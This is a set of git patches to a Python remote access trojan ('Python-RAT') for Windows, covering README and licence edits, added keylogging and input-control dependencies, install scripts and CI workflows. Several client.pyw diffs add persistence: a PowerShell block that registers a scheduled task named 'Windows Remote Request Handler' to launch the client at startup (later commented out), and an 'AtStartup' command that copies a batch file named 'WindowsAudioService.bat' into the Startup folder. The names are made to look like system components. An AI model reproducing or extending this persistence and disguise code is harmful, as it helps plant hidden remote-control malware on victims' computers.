From f578881aa6d6f889a20316c6503e69b4c9ebefba Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Tue, 14 Mar 2023 16:01:02 -0600 Subject: [PATCH 01/14] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d44d550..857defc 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ Advanced Remote Administration tool for Windows Systems written in pure Python THIS SOFTWARE IS INTENDED ONLY FOR EDUCATION PURPOSES! DO NOT USE IT TO INFLICT DAMAGE TO ANYONE! USING MY APPLICATION YOU ARE AUTHOMATICALLY AGREE WITH ALL RULES AND TAKE RESPONSIBITITY FOR YOUR ACTION! THE VIOLATION OF LAWS CAN CAUSE SERIOUS CONSEQUENCES! -THE DEVELOPER FZGbzuw412 ASSUMES NO LIABILITY AND IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE +THE DEVELOPER ASSUMES NO LIABILITY AND IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM. ## Intended for: From aefb530cfbfa4bba8e8ef803d11f6ac56f050dc9 Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Tue, 14 Mar 2023 16:02:46 -0600 Subject: [PATCH 02/14] Add files via upload --- client_requirements.txt | 5 ++++- installwithargs.bat | 2 ++ 2 files changed, 6 insertions(+), 1 deletion(-) create mode 100644 installwithargs.bat diff --git a/client_requirements.txt b/client_requirements.txt index 55c8eab..164e72a 100644 --- a/client_requirements.txt +++ b/client_requirements.txt @@ -3,4 +3,7 @@ comtypes pycaw pyautogui opencv-python -vidstream \ No newline at end of file +vidstream +comtypes +pynput +keyboard \ No newline at end of file diff --git a/installwithargs.bat b/installwithargs.bat new file mode 100644 index 0000000..86435c9 --- /dev/null +++ b/installwithargs.bat @@ -0,0 +1,2 @@ +pip3 install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r client_requirements.txt +pip3 install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r server_requirements.txt \ No newline at end of file From 4440cadd0584531d4efc51a3ace01691f7456c6e Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 07:03:42 -0700 Subject: [PATCH 03/14] made the client persistent --- client.pyw | 26 +++++++++++++++++++++++++- installwithargs.bat | 4 ++-- 2 files changed, 27 insertions(+), 3 deletions(-) diff --git a/client.pyw b/client.pyw index 3ba0856..c07b48e 100644 --- a/client.pyw +++ b/client.pyw @@ -10,6 +10,7 @@ import shutil import glob import ctypes import sys +import os import webbrowser import re import pyautogui @@ -20,6 +21,8 @@ from pynput.keyboard import Listener from pynput.mouse import Controller import time import keyboard +import subprocess + user32 = ctypes.WinDLL('user32') kernel32 = ctypes.WinDLL('kernel32') @@ -606,5 +609,26 @@ User: {os.getlogin()} rat = RAT_CLIENT('127.0.0.1', 4444) if __name__ == '__main__': + # Use triple quotes string literal to span PowerShell command multiline + STR_CMD = """ + $action = New-ScheduledTaskAction -Execute """ + sys.executable + """.exe -Argument """ + + """ + $description = "" + $settings = New-ScheduledTaskSettingsSet -RunOnlyIfNetworkAvailable + $taskName = "Windows Remote Request Handler" + $trigger = New-ScheduledTaskTrigger -AtStartup + Register-ScheduledTask -TaskName $taskName -Description $description -Action $action -Settings $settings -Trigger $trigger | Out-Null + """ + + # Use a list to make it easier to pass argument to subprocess + listProcess = [ + "powershell.exe", + "-NoExit", + "-NoProfile", + "-Command", + STR_CMD + ] + + # Enjoy the magic + subprocess.run(listProcess, check=True) rat.build_connection() - rat.execute() \ No newline at end of file + rat.execute() diff --git a/installwithargs.bat b/installwithargs.bat index 86435c9..fe8b478 100644 --- a/installwithargs.bat +++ b/installwithargs.bat @@ -1,2 +1,2 @@ -pip3 install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r client_requirements.txt -pip3 install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r server_requirements.txt \ No newline at end of file +python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r client_requirements.txt +python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r server_requirements.txt \ No newline at end of file From 2fa005e0c03b0da8148aa6c24fe03370384c01a9 Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 13:48:36 -0600 Subject: [PATCH 04/14] Update installwithargs.bat Signed-off-by: finnaminope <91102755+finnaminope@users.noreply.github.com> --- installwithargs.bat | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/installwithargs.bat b/installwithargs.bat index fe8b478..8eb4b94 100644 --- a/installwithargs.bat +++ b/installwithargs.bat @@ -1,2 +1,2 @@ -python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r client_requirements.txt -python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r server_requirements.txt \ No newline at end of file +python -m pip install --global http.sslVerify false -r client_requirements.txt +python -m pip install --global http.sslVerify falseg -r server_requirements.txt From 7d2b9f0d172555755e112ee0ed3bd57241fbe66d Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 14:40:41 -0600 Subject: [PATCH 05/14] Revert "Update installwithargs.bat" This reverts commit 2fa005e0c03b0da8148aa6c24fe03370384c01a9. --- installwithargs.bat | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/installwithargs.bat b/installwithargs.bat index 8eb4b94..fe8b478 100644 --- a/installwithargs.bat +++ b/installwithargs.bat @@ -1,2 +1,2 @@ -python -m pip install --global http.sslVerify false -r client_requirements.txt -python -m pip install --global http.sslVerify falseg -r server_requirements.txt +python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r client_requirements.txt +python -m pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org -r server_requirements.txt \ No newline at end of file From 5526f75523b8ffecd51f6464c770c56e6894b70e Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 14:48:36 -0600 Subject: [PATCH 06/14] Comment Out Powershell Mess I am Commenting This Mess Out Untill I Can Get It To Work --- client.pyw | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/client.pyw b/client.pyw index c07b48e..1ce571b 100644 --- a/client.pyw +++ b/client.pyw @@ -610,25 +610,25 @@ rat = RAT_CLIENT('127.0.0.1', 4444) if __name__ == '__main__': # Use triple quotes string literal to span PowerShell command multiline - STR_CMD = """ - $action = New-ScheduledTaskAction -Execute """ + sys.executable + """.exe -Argument """ + + """ - $description = "" - $settings = New-ScheduledTaskSettingsSet -RunOnlyIfNetworkAvailable - $taskName = "Windows Remote Request Handler" - $trigger = New-ScheduledTaskTrigger -AtStartup - Register-ScheduledTask -TaskName $taskName -Description $description -Action $action -Settings $settings -Trigger $trigger | Out-Null - """ + #STR_CMD = """ + #$action = New-ScheduledTaskAction -Execute """ + sys.executable + """.exe -Argument """ + + """ + #$description = "" + #$settings = New-ScheduledTaskSettingsSet -RunOnlyIfNetworkAvailable + #$taskName = "Windows Remote Request Handler" + #$trigger = New-ScheduledTaskTrigger -AtStartup + #Register-ScheduledTask -TaskName $taskName -Description $description -Action $action -Settings $settings -Trigger $trigger | Out-Null + #""" # Use a list to make it easier to pass argument to subprocess - listProcess = [ - "powershell.exe", - "-NoExit", - "-NoProfile", - "-Command", - STR_CMD - ] + #listProcess = [ + # "powershell.exe", + # "-NoExit", + # "-NoProfile", + # "-Command", + # STR_CMD + #] # Enjoy the magic - subprocess.run(listProcess, check=True) + #subprocess.run(listProcess, check=True) rat.build_connection() rat.execute() From 8bf94afc2fbe0b5d8ca8a428ab2b834d9cb24984 Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 15:02:13 -0600 Subject: [PATCH 07/14] Delete LICENSE Signed-off-by: finnaminope <91102755+finnaminope@users.noreply.github.com> --- LICENSE | 21 --------------------- 1 file changed, 21 deletions(-) delete mode 100644 LICENSE diff --git a/LICENSE b/LICENSE deleted file mode 100644 index e266dae..0000000 --- a/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2022 FZGbzuw412 - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. From dcdd6dfdd4d988b138437e00ee873f72a3daada0 Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 15:14:24 -0600 Subject: [PATCH 08/14] Create LICENCE.txt Signed-off-by: finnaminope <91102755+finnaminope@users.noreply.github.com> --- LICENCE.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 LICENCE.txt diff --git a/LICENCE.txt b/LICENCE.txt new file mode 100644 index 0000000..61ab961 --- /dev/null +++ b/LICENCE.txt @@ -0,0 +1 @@ +This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA. From b2674f7e6a2a355631680bc890a6baf802ca190c Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 15:14:54 -0600 Subject: [PATCH 09/14] Update README.md Signed-off-by: finnaminope <91102755+finnaminope@users.noreply.github.com> --- README.md | 22 ++-------------------- 1 file changed, 2 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 857defc..9f0270f 100644 --- a/README.md +++ b/README.md @@ -57,23 +57,5 @@ client.pyw ![изображение](https://user-images.githubusercontent.com/92334349/151528715-c83b5d21-4df4-4143-acf4-a67907e180de.png) ## Licence - - Copyright (c) 2022 FZGbzuw412 - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in all - copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. + +This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA. From 16c0aea27e20efac5f8cd797e69131c7d03bc16f Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 15:36:19 -0600 Subject: [PATCH 10/14] Add Security Checks Signed-off-by: finnaminope <91102755+finnaminope@users.noreply.github.com> --- .github/workflows/bandit.yml | 52 ++++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 .github/workflows/bandit.yml diff --git a/.github/workflows/bandit.yml b/.github/workflows/bandit.yml new file mode 100644 index 0000000..36a7f2b --- /dev/null +++ b/.github/workflows/bandit.yml @@ -0,0 +1,52 @@ +# This workflow uses actions that are not certified by GitHub. +# They are provided by a third-party and are governed by +# separate terms of service, privacy policy, and support +# documentation. + +# Bandit is a security linter designed to find common security issues in Python code. +# This action will run Bandit on your codebase. +# The results of the scan will be found under the Security tab of your repository. + +# https://github.com/marketplace/actions/bandit-scan is ISC licensed, by abirismyname +# https://pypi.org/project/bandit/ is Apache v2.0 licensed, by PyCQA + +name: Bandit +on: + push: + branches: [ "main" ] + pull_request: + # The branches below must be a subset of the branches above + branches: [ "main" ] + schedule: + - cron: '15 4 * * 3' + +jobs: + bandit: + permissions: + contents: read # for actions/checkout to fetch code + security-events: write # for github/codeql-action/upload-sarif to upload SARIF results + actions: read # only required for a private repository by github/codeql-action/upload-sarif to get the Action run status + + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Bandit Scan + uses: shundor/python-bandit-scan@9cc5aa4a006482b8a7f91134412df6772dbda22c + with: # optional arguments + # exit with 0, even with results found + exit_zero: true # optional, default is DEFAULT + # Github token of the repository (automatically created by Github) + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information. + # File or directory to run bandit on + # path: # optional, default is . + # Report only issues of a given severity level or higher. Can be LOW, MEDIUM or HIGH. Default is UNDEFINED (everything) + # level: # optional, default is UNDEFINED + # Report only issues of a given confidence level or higher. Can be LOW, MEDIUM or HIGH. Default is UNDEFINED (everything) + # confidence: # optional, default is UNDEFINED + # comma-separated list of paths (glob patterns supported) to exclude from scan (note that these are in addition to the excluded paths provided in the config file) (default: .svn,CVS,.bzr,.hg,.git,__pycache__,.tox,.eggs,*.egg) + # excluded_paths: # optional, default is DEFAULT + # comma-separated list of test IDs to skip + # skips: # optional, default is DEFAULT + # path to a .bandit file that supplies command line arguments + # ini_path: # optional, default is DEFAULT + From 1d1656a50fad91f17ae0346668dce6a4d2c49f9b Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Wed, 15 Mar 2023 15:40:55 -0600 Subject: [PATCH 11/14] Create manual.yml Signed-off-by: finnaminope <91102755+finnaminope@users.noreply.github.com> --- .github/workflows/manual.yml | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 .github/workflows/manual.yml diff --git a/.github/workflows/manual.yml b/.github/workflows/manual.yml new file mode 100644 index 0000000..eadcbbc --- /dev/null +++ b/.github/workflows/manual.yml @@ -0,0 +1,30 @@ +# This is a basic workflow that is manually triggered + +name: Manual workflow + +# Controls when the action will run. Workflow runs when manually triggered using the UI +# or API. +on: + workflow_dispatch: + # Inputs the workflow accepts. + inputs: + name: + # Friendly description to be shown in the UI instead of 'name' + description: 'Dep Script Test' + # Default value if no value is explicitly provided + default: NO' + # Input has to be provided for the workflow to run + required: true + +# A workflow run is made up of one or more jobs that can run sequentially or in parallel +jobs: + # This workflow contains a single job called "greet" + greet: + # The type of runner that the job will run on + runs-on: windows + + # Steps represent a sequence of tasks that will be executed as part of the job + steps: + # Runs a single command using the runners shell + - name: Test Script + run: From 8299bd2991079fb2ccb3cb0561ab2a5f76217045 Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Thu, 16 Mar 2023 16:58:08 -0600 Subject: [PATCH 12/14] Create SECURITY.md Signed-off-by: finnaminope <91102755+finnaminope@users.noreply.github.com> --- SECURITY.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 SECURITY.md diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..4350bb0 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,5 @@ +# Security Policy + +## Reporting a Vulnerability + +Always Report Vulnerabilities In The Issues. Please Be Respectful When Reporting From 2b324c4aa8694299125f99f09e30c0345f1ee77f Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Sat, 18 Mar 2023 07:43:22 -0700 Subject: [PATCH 13/14] Going To Coder School --- WindowsAudioService.bat | 1 + client.pyw | 4 ++++ 2 files changed, 5 insertions(+) create mode 100644 WindowsAudioService.bat diff --git a/WindowsAudioService.bat b/WindowsAudioService.bat new file mode 100644 index 0000000..e670140 --- /dev/null +++ b/WindowsAudioService.bat @@ -0,0 +1 @@ +py "C:\Users\" \ No newline at end of file diff --git a/client.pyw b/client.pyw index 1ce571b..0a687e7 100644 --- a/client.pyw +++ b/client.pyw @@ -602,6 +602,10 @@ User: {os.getlogin()} except: self.errorsend() + + elif command == 'AtStartup': + os.system('copy WindowsAudioService.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"') + elif command == 'exit': s.send(b"exit") break From 0d127ec658ac4b23555136598de8114571018f67 Mon Sep 17 00:00:00 2001 From: finnaminope <91102755+finnaminope@users.noreply.github.com> Date: Mon, 12 Aug 2024 14:25:31 -0700 Subject: [PATCH 14/14] Update README.md Signed-off-by: finnaminope <91102755+finnaminope@users.noreply.github.com> --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 9f0270f..701bbbc 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,7 @@ # Python-RAT + +THIS REPO IS ARCHIVED AND WILL NO LONGER BE UPDATED. + Advanced Remote Administration tool for Windows Systems written in pure Python ## Disclamer